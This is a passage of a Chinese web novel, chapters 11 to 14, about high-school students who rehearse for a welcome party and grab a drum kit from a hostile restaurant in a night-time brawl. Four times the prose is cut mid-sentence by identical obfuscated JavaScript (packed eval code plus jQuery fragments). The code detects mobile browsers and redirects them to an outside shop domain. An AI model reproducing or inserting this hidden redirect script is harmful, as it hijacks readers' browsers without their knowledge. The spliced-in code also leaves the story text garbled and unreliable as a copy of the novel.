在地上滚了几圈爬起来,还好双手手脚都在,林白骂骂咧咧地看着丁洛正骑车离开,那人甚至十分嚣张地滴了几声喇叭。
林白提醒自己,刺猬果然都是扎人的,少惹为妙!
没剩多少时间了,林白直奔后街的巷道,给几只小流浪加固下猫舍。从一开始的纸箱1.0版本,林白已经将猫舍改进成三层楼的猫别墅,饮食区、阳光区、睡眠区全都做了单独空间。
林白的动手能力很强,每天只能抽出15分钟时间,猫舍依旧一天一个样,而改进似乎永无止尽,今天林白又想给小家伙们做个秋千。
最近很少遇到孔子曰,但猫碗里的干粮从未断过,他应该在别的时间来过了。猫碗里偶尔也会有一些新鲜食材,今天是煮好的鸡胸肉,三小只吃得摇头晃脑,显然比猫粮好吃多了。
警惕心最强的奶牛猫已经不再防备着林白,吃完后尾巴翘得高高的,用头在他的裤腿上蹭了几遍。
“还知道对我做标记呢,怕我这个免费小工跑了?”
林白将三小只轮流摸了摸,起身准备往回走,在巷道的尽头传来了争斗声。
一群人气势汹汹地站在丁洛对面,清一色拿着棒球棍。
而她的身后,一个皮衣男,高出人一截,却躲在丁洛身后控诉,“就是这些人!”
为首的花臂男朝地上啐了一口。
“真够怂的,打你都嫌脏。”
骂得好。
林白点头赞同,转身找找有没有趁手的棍子,准备冲上去帮忙。虽然丁洛这人没给过自己什么好脸色,但遇到这事没有不帮忙的道理,更不能像皮衣男这般躲女孩子身后,再抬头发现自己纯属多余。
花臂男先上,还没靠近丁洛,已经被石子击中脸部,蜷缩在地上哭爹喊娘。
剩余的人一拥而上,棍棒、拳头全都瞄准了丁洛招呼,皮衣男实相地躲在一边给她腾出场地。
丁洛从墙上斜冲过去,一脚踹在最前面的那人,连带一群人全都倒地。
被踹中的男人捂着胸口喘不上气,后面的人骂骂咧咧地准备起来,被一阵乱棍全都打趴下。
棍子打在□□上的闷响声在小巷里不断回荡,林白抱了抱自己。
好可怕。
不到5分钟,地上歪七扭八躺了一群男人在哀嚎,丁洛拽起花臂男不知道说了些什么,最后坐上皮衣男的机车高调离开。
林白回去的路上反复提醒自己,做人还是要低调些,尤其是在这位同桌面前。
11. 排练
李佑是个一点即燃的性子,但这段时间收起了满身的戾气,老老实实给全班人送了一个月的饭,一天不落。渐渐的1班人早已忘记去食堂那条“取经路”的艰辛了,下课聊个几分钟,饭也就送到桌子上了,甚至还能经常吃上猪肘子饭。
“给你!签满了!”
看着密密麻麻签满了名字的申请书,林白深情地看了看眼前的老黄牛,真情实感地比了个大拇哥,“敬你是条铁汉。”
铁汉靠实打实卖力气解决问题,没有一点偷奸耍滑,林白明白了难怪人家看不上自己。
铁汉吃不了软,刚夸上一句,满脸的怨气就散了,有点扭捏地说道,“知道就好!”
只可惜对面是个没眼力见的,“铁汉,明天帮我带杯森屿家的奶茶呗,馋好久了,就是路太远。”
李佑火气一下就冒了起来,蹭一声跳起来抓住林白的衣领,“你小子不犯贱会死吗!”
“好说好说,不愿意就算了,别动手嘛。”
高汉捧着满是签名的申请书,露出星星眼,“白哥就是厉害,说到做到。”
李佑白了一眼,“那是他做到的吗?”
高汉是个上道的,零帧起手开始夸,“主要还是靠佑哥,这辈子没这么幸福过,吃得我都胖了10斤。”
旁边那人还是毫无动静,高汉踩了林白一脚。
林白:“999。”
……
李佑觉得这人已经没救了,懒得再计较,“话说回来,你这事能成吗?就凭这么一张申请书能让学校延长晚自习?”
林白狐疑地看了他一眼,“怎么你也想留学校吗?原来你们都想留学校啊,合着都光想不出力,就让我一个人这么辛苦。”
李佑忍住火气:“那是你出力的吗?”
林白:“是我筹谋的。”
算了,忍不住,“不吹牛会死吗!?”
……
本以为有了这张申请书,与老郑的对话可以简短有力,快速解决问题。
老郑从半人高的教案中抬起头,嘬了一口浓茶,似是仔细品味林白近半小时的论述,终于点点头。
“不行,这事得马主任审批。”
靠!不早说!
林白被老郑的慢性子折磨得两眼一黑,是真的没招了,转身就想走,“好的,老师我去找马主任申请。”
老郑叫住了林白,“我要去卫生间,一起吗?”
倒也不必吧......
“走吧,说了半小时了不累吗?”
老郑终于强硬了一次,只是没想到是在这么个事情上……
办公楼的卫生间离教室较远,应该还没有新生找到这里,林白进去后默默发誓以后再远也要来这边解决!
倒也不是装修或设施格外的好,主要是这里有隔间!高中正是敏感时期,可是教学楼的卫生间居然是开放式的,很多人为此默默练就忍术。
林白正想放松,狭小的空间中突然一个深沉的声音在上空盘旋,“林白,你知道为什么教学楼卫生间没有门吗?”
吓了一个激灵,尿意被堵在中途,林白沉重闭眼。
就不能……等会再说吗!
打火机转了两圈,一缕烟从隔壁传来,老郑继续说,“过去很多学生躲在卫生间里抽烟,马海宁将隔间全部拆掉,有个孩子脾气刚烈,连夜将办公区的卫生间门也全拆掉。最后这个学生被抓走,受了处分,记在档案里。我不希望最后闹成这样,你们还小,容易冲动,不懂得变通,容易导致无法挽回的后果,作为老师的职责就是要保护你们……”
老郑还在里面滔滔不绝,林白推门出去,旁边的门突然打开,脚步没收住撞了上去……
“我再说一件……哦呦,不好意思!你怎么悄无声息的,我以为你还在里面呢,没事吧?”
“没事……我的错。”
“那我继续说啊,八中在管纪律方面一直都很松,这也是有原因的,其实很多孩子像你一样底子不错,但是由于种种复杂原因,这些孩子心灵上受了伤,不能困在学习里,压力稍微大一点就会崩溃。到了高二、高三很多好学校的学生都想转来八中,这些孩子更脆弱,所以我们不能在管理上太严格,毕竟健康平安是最重要的。你还小,很多事情没见识过,老师就是看到了太多孩子陷在迷途里,所以才会凡事更加谨慎小心……”
老郑那个嘴啊,一天能说一般人几年的话,林白低头加快脚步,路过楼梯时拔腿就跑,终于清静了。
回教室的路上,林白觉得心里堵得慌,除了没尿出来,还有一堆乱七八糟的声音堵在脑中。
凭什么因为自己的需求,让这么多人配合?
用小伎俩哄着所有人签了名,又有几个人真的想留在学校?
你真是个自私的人。
最后的声音倒是很清晰。
音乐从顶楼的综合教室里传来,林白去天台的路上看见孟子显几人正在排练,他确实跳得很好,肢体似流水一样流畅,身体里却像有很多闸门,每一处都可以实现精准控制。孟子显笑与不笑判若两人,笑起来眉眼弯弯,苹果肌鼓鼓的很是讨喜。而不笑时,一张脸像是变了天,阴雨沉沉。平日里,他几乎一直在说话,只要说话就带着笑,总是一副热闹开朗的样子,而在舞蹈中,他的表情在不断切换,用力的,阴沉的,静默的,鲜少有笑起来的时候,林白觉得这个样子的他更放松。
“林白!”
他又龇牙没心没肺的大笑,“让你加入你装酷,现在偷看我们呢!”
“路过。”
“少废话,进来吧!”
孟子显一把将人拽进教室,音乐停下来,几个人气喘吁吁地围着林白。
如果刚进来的人不知道前情提要,一定会被这诡异的氛围吓到,还好孟子显又开始话唠模式。
孟子显:“跳不跳,一句痛快话,别扭扭捏捏的。”
林白:“不跳。”
孟子显:“站中间跟着节奏动几下,行不行,一句痛快话。”
林白:“不行。”
孟子显:“或者你报个开幕,说完就下台,这样总可以了吧,一句痛快话。”
林白:“不可以。”
……
罗希宁爽朗地笑起来,“好啦,显子,你是有什么执念吗?不痛快的是你吧,干嘛总是逼林白,迎新晚会重要的是展现才能,为班级争取荣誉,林白只是不喜欢跳舞,但一定有别的拿手的才艺,他一定会表演其他节目的,对吗?”
不对,林白很想说。
其实林白对什么都无所谓。吃什么,无所谓。穿什么,无所谓。考试排第几名,无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340968|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所谓。考上什么学校,无所谓。将来做什么工作,无所谓。刘晓丽为之疯狂的焦虑,林白全都无所谓。
为班级班级荣誉感?从未想过,折腾了这么久,唯一的动力是挣脱刘晓丽的监控,除此之外,什么都无所谓,甚至想活成透明人,不用接触任何人,也不被任何人打扰。
但最讨厌因为自己打扰了其他人,老郑的一番话让他很心烦,一件事会造成怎样的蝴蝶效应,林白不愿想下去。
好像没有预料到对面会是这样的反应,林白的沉默让罗希宁有点尴尬,她有点强硬地说道,“既然不想参加节目,那就别耽误时间了,我们还得排练呢。”
许佳琪是个话很少的女生,总是行色匆匆一脸憔悴的模样,静下来时也是缩在座位上没日没夜地剪视频,很少与其他人交流。孟子显说过她是站姐,林白回去搜了下,大概明白是跟追星相关。
今天她有点反常,热情的像是换了一个人,居然主动帮林白缓解尴尬,“谢谢你林白,上次的建议很有效,我们一路领先了G家3万多票,哥哥今年拿奖没悬念了!”
林白有点不解地看着她,笑得如此开心纯粹,哥哥的事好像比她自己更重要,这种情感林白不理解。
林白:“不客气,能帮上忙就好。”
许佳琪:“如果你愿意为我们的节目做钢琴伴奏,一定会添彩很多。”
林白更迷惑了,“你怎么确定我会弹钢琴呢?”
许佳琪笑了笑,“别介意,我不是变态观察你,只是追星多年被迫锻炼了一些’眼力’,你的五指放松时比正常人分隔得更开,尤其是小拇指,而且你手臂上有一条细缝,应该是每天练习的结果。”
“还真是诶!”孟子显抓起林白的手稀罕地看起来,“佳琪难怪你能靠发现对家恋情发大财!这钱活该你来赚!”
林白不好再拒接,只能硬着头皮加入了排练,听了几遍歌曲后,大致有了编曲想法,这首歌是典型的kpop,如果现场加入鼓声更能带动氛围。
“我知道谁会!”孟子显开心的喊道。
林白心里也有一个确定人选,丁洛。
大部分时间她都趴在桌上看小说或者抄抄题,但林白注意到她的手脚总在打节拍,有时候拿起笔时也会不自觉地练姿势,总重要的是,她“聋”。
孟子显朝着门口的丁洛挥挥手,“你看,说曹操曹操到。”
啊?
丁洛一副没听清的模样,靠近后果然第一句,“说什么呢,没听清。”
林白侧过脸忍不住笑了一下。
“笑什么呢?”
视力倒不错。
不过让林白困惑的是,丁洛居然愿意参加演出,终于有一天忍不住问起孟子显,“你当初是怎么说服她参加的呢?”
孟子显十分鄙夷地看了林白一眼,开始了生动演绎。
“丁洛,迎新晚会我们跳舞,可以请你帮忙打鼓吗?”
“可以。”
“就这么简单?”林白惊问。
“就这么简单,谁像你,一个爷们扭扭捏捏的。”
几人很少凑出时间一起练习,林白放学就跑,学校没鼓,丁洛偶尔去排练室了解下舞蹈进度也就离开了。
罗希宁为此发过很多次火,但两人都不是受管控的性子,也只能作罢。
12. 作死
现在的学校生活过于自由,林白在应付刘晓丽方面也越来越得心应手,日子太惬意,以至于将过往的生活全忘了,孙子涵的电话打来时,林白有点不好意思接。
林白:“哎?孙子什么事?”
孙子涵:“你没死啊!我还以为你早投胎了呢!下辈子也是个不会打电话的智障!”
孙子涵这人高傲孤僻,谁都看不上,被他看上了也不是件好事,他那嘴舔一下都能毒死自己,当然死之前也要咬一口林白。
林白:“孙子,有话快说。”
孙子涵:“蛋,有好事,等等,你那什么动静?”
林白:“别管,说。”
孙子涵:“马承二还记得吧?”
林白:“他怎么了?”
孙子涵:“要去你们学校搞迎新。”
林白:“他在我们学校?”
孙子涵:“睡醒了吗?人家正常发挥考到二中。”
林白:“哦,恭喜。”
孙子涵:“这是重点吗?”
林白:“重点?”
“这篇全是重点!站起来读三遍!”
林白就是想挑战下,看看在林醉新那足以掀翻房顶的魔音轰炸下接电话,到底会不会被发现。
会。
事实证明,老祖宗的话总是有道理的,人不作死,就不会死。
当林醉新朝林白耳边全力怒吼的那一刻,林白觉得空气中他那浑身的酒气都被震出了波纹,电话那头的孙子涵更是当头一棒,感觉一道音浪海啸穿透听筒,直轰天灵盖。
孙子涵:“要我命能不能用体面的方式!?”
林白在余震中呆楞地站起来念课文,却一点也听不见自己的声音,心中悲痛地想到,这就把自己作死了?
“有感情的朗读!”
哦,没聋。
林白抑扬顿挫地念起课文,“独立寒秋,湘江北去,橘子洲头。看万山红遍,层林尽染……”
“感情呢?重音呢?心境呢?”
林醉新冲到林白身旁吼得更大声了,林白心中默默流泪,这耳朵迟早废了……
孙子涵耳朵也被震得嗡嗡作响,思路却很清晰,很快捋清楚这是个什么局面,打开录音键,贴心为老友录制结婚大屏素材。
人只会在作死的道路上越走越远的,林醉新刚转身,林白拿起手机。
林白:“继续说,什么重点?”
孙子涵:“我靠,你们学校这老师战斗力可以,二战的炮也没这么响。”
林白:“说重点,冒死打电话不是为了听你放屁。”
孙子涵:“看在你快嗝屁的悲惨遭遇上,暂时不跟你计较。友情提示,小心点这位承二老兄,此人已经进入变态2.0版本,再相见,不会是扒光你衣服这么简单的’问候’。”
林白:“谢谢孙子关心。”
孙子涵:“好运,默哀。赔我医疗费,我要去看耳朵。”
林白:“说什么?听不清。”
……
马承二或许无数次纠结过这个问题,名
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340969|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字里就不该带个“二”字,在信雅中学时,林白稳居第一,而他便是那个千年老二。又是个阴郁的性格,不愿与任何人交流,长时间埋头在座位上与林白默默较劲。
终于在全校都十分看重的第一次模考中,马承二突然脸色惨白,爆汗淋漓,站起来冲到林白座位上想要脱光他的衣服,歇斯底里地吼叫:“他作弊了!他一定在作弊了!他绝对作弊了!你们为什么不检查他!”
这样一件疯事并没有在信雅中学留下多少印记,生活随着一张又一张的试卷麻木地翻过,大家更清晰地记得第一次模考时的排名,而记不清被逼疯的马承二。
毕竟,疯,是存在于每个人心中的念头,在那个昏暗的岁月,谁都想疯一把,马承二这点举动又算什么呢。
林白冷漠地回想起这个人,依旧没有放在心上。
而现在有一件事急需解决,迎新晚会在即,但学校唯一的架子鼓早就被马海宁卖了,理由是太吵,影响学习。
丁洛在鼓房打工时跟着老板学习的架子鼓,打扫卫生时隔着厚厚的玻璃听到里面传来的节奏,丁洛用笔在桌子敲出了一模一样的节奏,老板一遍又一遍验证,总是丝毫不错,从此便每一天花一点时间教她。
只可惜小镇学习音乐的人不多,鼓房的生意一直很萧条,前不久老板将铺子转卖,去隔壁省谋发展了,找他借鼓很不现实。
倒是有一个地方有鼓——山顶餐厅。尽管丁洛反复强调过这家餐厅的人不是什么好鸟,孟子显十分自信地拍胸脯保证他能搞定。
13. 黑店
山顶餐厅位于岛上,三面巨型落地窗朝海,室内光线明亮,木质的复古桌椅错落摆放在宽敞的大厅内,任意一个角落坐下,都能看到不远处起伏的海岸线。那套架子鼓便位于餐厅正中间的小型舞台上,孟子显看了一眼,找了临近的位置坐下。
这是小镇的新鲜去处,吸引了不少年轻人从小镇的角角落落聚集于此,用更高的视野将家乡的海看清楚。有双方都很拘谨,脸上泛着尴尬红晕小声交谈的相亲男女。有将作业铺满桌子,和学习搭子一边吃着油炸小食,一遍讨论这题老师课上讲了几种解法的学生。也有一些中老年人点一壶热茶,坐在窗边闲聊或小憩。
孟子显家中也做生意,拿到菜单后,大致记住价格,再粗略估计人流量,自然地算起这家店一天的流水。这里的价格不算贵,甚至比街道上新潮的咖啡店价格还要便宜,尤其是茶水,几块钱一壶,能喝上半天。人流量也不算多,毕竟在岛上,交通不算方便,怎么算都没什么油水,只怕这套装修成本还没赚回来。孟子显在心中盘算着,眉头不自觉皱起来。
服务员等得有点不耐烦,“您好,请问需要什么?”
孟子显合上脑中的账单,点了一杯饮品中售价最高的果汁,犹豫了一下,“再加一个小食。”
“好的。”
这里的服务员年龄看起来都不大,应该都是初高中生兼职。吧台后面唯一的中年人在擦拭一套闲置的咖啡机,脸型短圆,五官都有硬伤,但头发打理的很清爽,加上一副边框眼镜,添了几分斯文气质,与这些年轻的服务员们在一起并不显得突兀。
孟子显得出结论,这个老板是个好人。为了自己的追求,开店让小镇人们多了个消遣的去处,又让学生多了个挣零用钱的地方。
常常见父亲招待客户的样子,孟子显在社交方面并不拘谨,大大方方走上前开门见山,“老板您好,想向您咨询件事。”
老板停下来手里的活,笑着走到吧台前面,边洗手边问道:“同学,有什么事尽管问。”
孟子显清了清嗓子,尽量装出成熟的样子,“我想租一天您这里的架子鼓,价格都好说,可以按小时付租金。”
老板将手里的水擦拭干净,笑着看了一眼孟子显,眼神犀利,语气依旧温和:“用来做什么呢?”
来自上位者的凝视,孟子显局促起来,忘了装模作样,说起了人话:“那个…学校里有迎新晚会,我们有演出需要用到鼓,”担心不够诚意,又补充道,“我们会很小心用的,不会弄坏的。”
“嗯,”老板缓缓点头表示认可,表情却是一副很为难的样子,“不过,我们这里可离不了鼓哦,每晚都有演出,如果要借走,除了要支付鼓的租金,还得赔偿演出暂停的损失。”
“那大概是多少?”
“鼓都好说,一小时算你50,搬运费用自理,演出可就贵了,很多人都在晚上来,没了演出,我的客流得少一半,算上这些,你差不多给个这个数吧。”
老板比了个手势,
孟子显想说500,但刚刚的算法明显不止,颤颤巍巍问了句,“5000?”
老板摇摇头,“5万。”
5万?
你大爷的,是个恶人!
孟子显心中大骂,就这点客流量,一天也没5万,坑老子!
想想又怕骂错了,舔着笑脸多余问了一句:“真5万?”
老板抖开毛巾,假装抱歉地笑了笑,直接转身离开了。
孟子显扯了下嘴角小声说了句打扰了,秉持着不浪费原则,将座位换到靠窗户的位置,慢慢欣赏海景。心下开始挑刺,鸡翅炸的太老,还不如某爷爷家的,果汁太甜!人更是又奸又装!这破店迟早倒闭!
反正看风景不要钱,孟子显一坐就是一天,顺带把包里的作业写了。临近傍晚,天光开始暗了,乐队已经进场开始调试乐器,屋内的灯光换成了暗淡的黄光,吧台的菜单页酒水一栏被蓝色的光重点标记。中老年人和学生的身影逐渐消失,越来越多的青年人进场,三张稚嫩的脸庞与孟子显一样突兀。
对上眼神的一刻,付琳菲、许佳琪、罗希宁三人一副“就知道你小子不行”的表情,孟子显则将“救救我”三个字刻在脑门上。
三人刚坐下,服务员很快上前询问需要点什么。
罗希宁平常颇有些大姐大的风格,随意看了下菜单,刚准备开口说‘随意点,我请客’,菜单已经被孟子显抽走,递给服务员,“我朋友,坐着聊聊天,不点什么。”
服务员白了一眼,“夜间是酒水场,必须点酒水才能落座。”
孟子显用手指了指桌上的空杯和还剩下几根薯条的空盘,“我还没吃完呢,未成年人不能喝酒,小心举报哦。”
看着服务员一言不发的离开,孟子显觉得自己出了口恶气,仰头看向吧台那边示威,却发现老板并不在那里。
罗希宁:“什么情况,简言之。”
孟子显一肚子骂人的话在翻腾,憋了半天喷出一句:“这就是家黑店!这丫开口要五万!”
罗希宁:“他怎么不把你炸了,还能多卖点。”
许佳琪:“那估计也值不了这么多,怪费劲的。”
孟子显:“说点人话???”
人群突然轰动,音乐响起,是一首当下正火爆的美式小甜歌,音乐鼓点激烈而丝滑,鼓手抡圆了膀子敲得畅快。
孟子显对音乐有天生的敏感,也想凑凑热闹,“来都来了,先嗨了再说吧!”
话音刚落人已经冲进舞池了,孟子显的动作大开大合,一进场子就是焦点,不少人朝着他欢呼。将饭撒那一套学到了精髓,孟子显在每小节的结尾处,朝人群互动,场子很快被点燃。角角落落里的人都被这份快乐感染,直至音乐结束,大家还是意犹未尽,有人喊着再来一首!孟子显快活地鞠躬致谢,眼光瞥到刚进场的老板,小跑到他跟前。
姐妹团有点看不上这操作,白眼还没送到,快乐小狗已经跑到人跟前傻乐了,只能默默跟在后面撑腰。
孟子显笑着问道:“怎么样,这个场子热得可到位?一支舞五万,就当租金了?”
老板油盐不进,“我这里不是你们能胡闹的地方,赶紧滚!”
一道闪光刺破大厅内昏暗的光线,许佳琪正举着口袋相机朝老板
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340970|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怼脸拍了一张,不紧不慢的来了句:“我要好好看看丑人能丑到什么程度。”
这人很注重形象,说丑,打击到他痛处了。老板脸色瞬间通红,抬手想砸了相机,许佳琪多年站姐功力深厚,轻松转身躲过,边后退边猛拍一通,闪光交织着鼓声,老板踩不住任何节奏,笨拙地暴怒。
孟子显趁乱混到鼓手旁边,“兄弟,这玩意能抬走吗?”
“能啊,需要配合吗?”
孟子显眼睁睁看着那人假装受力,麻溜地滚到地上,伸出一只手挡在脸前:“别打脸!”
靠,有这演技打什么破鼓啊。
孟子显抬起最大的底鼓朝人群里冲,横扫出一条通道。
许佳琪举着相机拖住老板,罗希宁则打开手机手电筒到处嚷嚷,“我要举报你们消防有问题,这么多人聚集在这里,却没有看见明显的消防出口,这合理吗?”
店员被混乱分散开来,孟子显趁乱一个人苦命地来回搬动几个巨型通鼓,突然见一个纤瘦的身影一手扛起所有镲,包圆了剩下的零件。
“林白!就知道你会来!”
林白青筋涨起,咬牙骂道:“最蠢的法子都被你们用了!”
“谁让你不早来。”
一群人推开人流将两人围住,每人手里一个铁棍,领头的那个抬手用棍子抵了下林白,林白立即后退了几步,咳嗽不止。
“你也太弱了,”孟子显扔了手里的鼓扶住他。
林白闭眼叹气,“战术懂不懂?你还回来干嘛?抱着鼓赶紧跑啊!”
“哦,现在还来得及吗?”
孟子显环顾四周黑压压的一群人问道。
林白无力地白了一眼,将手里的支架朝冲过来的人用力挥去,镲片丁零当啷滚落一片。
“哎呀,那个最贵啊!”一直猫在角落里的鼓手跟在后面哀嚎,孟子显在两人身旁用鼓拼命撞冲上来的人。
“往哪跑啊?”
“门口,三轮车!”
“丁洛来了?”
“偷的。”
“靠,不要命了!”
“再废话真没命了。”
一人将棍子狠狠砸向林白后背,棍子打在骨头上传出巨大的闷声,孟子显吓得大叫:“我靠,你不会死吧!”
林白踉跄着朝前猛跑了几步,手里依旧死死抓着所有零件,直到全部放到车上,才惨白着一张脸喘气。
那群人很快追了上来,林白被一把拎下了车,猛烈地撞击到水泥地上,痛感随着一阵抽搐激烈地席卷全身,而棍子已经齐刷刷朝他砸下去。
林白闭眼,心想完了,今天怕是要留条胳膊腿在这了。
棍子似乎迟迟没有落下,倒是眼前一片强光,林白睁开眼差点被亮瞎,通过手指缝隙眯眼盯了一会,终于看清是丁洛拿着门口老头的超级手电筒,朝着众人一顿扫射。
黑夜被劈成两半,一半是浓厚的黑勾勒张狂的红色发丝,另一半匍匐在青春的朝气中,她是唯一发光的存在。
“蠢货!还不快跑!”
骂人时眼睛更亮了,哦不对,现在不是想这些乱七八糟的时候……
14. 一场胜仗
林白爬起来冲向三轮车,丁洛举着强光朝人群疯狂扫射,直到将三姐妹全都推上了车,这才翻身跃了上去,只剩下孟子显一人还抱着鼓在人群后面苦命地追着……
林白看了一眼后方,喊道:“都坐稳了吗!”
没等人反应,用力将车头向右打死极速掉头朝人群冲去。众人齐刷刷滚向右边,好在丁洛死死抓住栏杆这才没人滚下车。
靠!姐几个贴着车面骂骂咧咧,没人听见车下面孟子显绝望的吼声。
“拉我一把啊,姐姐们!”
靠人不如靠自己,孟子显将鼓扔到车上,双脚一瞪抓住栏杆,丁洛眼疾手快将人一把拽了上来,朝前面喊道:“走吧!”
林白将车头猛得朝左打死,掉头加速冲下阶梯。车上的几人有了经验,全都死死贴在车面上,心里想着死就死了吧,下去了也要将这货脑浆给摇匀!
车子像是砸向地面又剧烈地弹开,经过几次剧烈的震动终于逐渐平缓下来。人群的叫嚣声渐渐不再清晰,孟子显爬起来朝后面欢快地喊道:“一支舞五万,就算租金啦!”
轰鸣的暗夜,为满车的青春让路,好像打了一场胜仗,所有人朝着大海欢呼。鼓声歌声全都乱七八糟的响起,头发被风吹得乱七八糟,笑起来的表情更是乱七八糟,时光束不住此刻的肆意。
孟子显将头伸向驾驶室,努力喊道:“我是真没想到,你还挺义气,居然主动来救命了!”
林白冷冷地转头,“所以我在你心里是个什么形象?”
帅哥形象,孟子显比了个心。
临近半夜,车一路颠簸终于靠近学校,几人为怎么进校吵翻了天。
孟子显:“爬墙不行吗,把鼓绑身上,左脚爬完换右手,几步路的事。”
许佳琪:“行啊,您有那本事您自己爬,几个鼓都给你,爬不过去就贴墙上风干。明天热搜见#胖头鱼深夜自挂南墙,风干一夜身材依旧胖似鼓。”
孟子显:“我服,琪姐你这嘴不愧是骂遍内娱的铁嘴。”
罗希宁:“老头晚上会留门吗,从缝里爬过去行不行?”
许佳琪:“不行,教职工都得遵循宵禁呢,要开门只能喊醒老头。”
孟子显:“什么仙人制定的这规则!?”
众人:“马海宁。”
……
孟子显:“学霸,你有什么高招?”
林白:“我站玄学,今晚肯定能进,没理由。”
众人:“神经。”
……
一路吵了半天也没个结果,等到了学校门口,食堂正在进货,林白开着小三轮直接进校了。
几人安静如鸡,任凭林白一路吹着口哨得瑟,这波玄学完胜。
下车后,罗希宁为几人分配搬运物件,林白默默抬起一个通鼓,整个人却突然卡在半途。
孟子显探着身子看过去,也不敢碰他:“你没事吧,刚刚那一棍我以为你会死在那里呢。”
林白惨白着一张脸,缓缓立起身,心中感慨自开学来就没停过挨揍受伤,这都什么鬼运气。
“死不了,这四个你的。”
“靠,也行。”
孟子显抱起鼓直直往前走,挤入细窄的楼梯间,将林白撞得嗷了一嗓子。
几个女生的力气却一个比一个大,罗希宁抱起鼓快步走到了最前面,许佳琪更是单手拎鼓,另一只手腾出来拍摄花絮,“演出前一周,我们刚抢到器材,正搬向礼堂。”
付琳菲一直是个安静的存在,丁洛陪她一起走在最后,却发觉总有眼神直勾勾地看着自己。
“你…想说什么?”
付琳菲的性格虽安静,却是人群中最无法忽视的一个。个子高皮肤白皙,大眼睛自带美瞳,亮闪深邃,黑长直平贴干净,虽然很少说话,但丁洛总觉得她有一种上位者的压迫感,或许这就是美得震慑人心吧。
“林白居然能偷到你的车,真是长进不少。”
付琳菲凑近了一些,俏皮地眨了下眼睛,丁洛莫名红了耳根。
傍晚时分吴栀子将前台的灰尘擦拭干净,回到小院准备研究一些新的菜单,丁洛坐在门口的台阶上面朝海岸线看书。
偶尔路过的车辆驶入海浪的起伏,耳机里正放着“当我注视你的时候”,夕阳刚好换上红衣坠入海洋,林白在这时喘着粗气突然出现。脸上的红晕映衬着漫天的红光,眼睛总是湿漉漉的,像大黄一样仰头乐呵呵地看着自己。
“丁洛,快走,孟子显去山顶餐厅借鼓了。”
“关我什么事。”
“不是你的节目吗?走走走,听闻情况不是很乐观,他们想硬抢。”
“不去。”
丁洛合上书,往店内走去。
“喂!”
林白在楼梯下面插着腰叫了几声,见里面毫无动静只好追上去。
“喂!你怎么这么不负责任?这么不管不顾合理吗?做人不能太渣!”
林白掀开小院的帘子,’做人不能太渣’几个字迎面撞上吴栀子,后者脸上的笑很快挤不住,回头喊道:“丁洛,你做什么对不起人家的事了?”
林白脸色更红了,支支吾吾解释到,“不是的,是我们有节目……”
这破事怎么前奏这么长,要说多久才能解释清楚……
丁洛搬出一箱子汽水走了过来,吴栀子笑呵呵地拿出一瓶递给林白,转身回到小院留下两人。
“我怎么渣了?怎么负责?”丁洛顺口问道。
不是?这么直接吗?林白的语言系统暂时混乱,“不是,啊?怎么负责啊?额,那个,我们抢劫的话,多少需要辆车……”
“哦,那是你们的事,”丁洛将汽水全部正面朝前摆放在柜台上。
柜台的右边一个粉色毛线织成的托盘里放着三轮车钥匙,林白看看挂钟,时间不早了。
趁着丁洛转身理货的瞬间,林白紧张地朝看了一眼,悄悄顺走钥匙。得逞后气不过将刚摆好的一排汽水全部打乱,凑过去喊了一声拔腿就跑。
“无情!”
前方孟子显和林白两人一路打打闹闹,孟子显扛着两个鼓,走得歪歪扭扭不忘插空撞一下林白,而林白也是手欠,两手空空却还是不停地骚扰干苦力的人。
被撞到了痛处,便是一声哀嚎。
“无情!”
付琳菲看着满脸通红的丁洛偷笑,走在最前面的罗希宁朝后面骂道:“都磨磨蹭蹭的干嘛呢,这点活都干不好!”
几人蹦蹦跳跳冲向礼堂。
一路颠簸,很多零件都松散了,唯一会这乐器的丁洛却从未调试过。
孟子显:“你学这玩意,却不会安装这合理吗?”
丁洛:“懒得调,每次师傅都调好了。”
众人:“你真行。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340971|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>无人在意的角落,林白一边叹气一边扶着墙缓缓坐下,将零件按种类摆好,埋头开始调试。
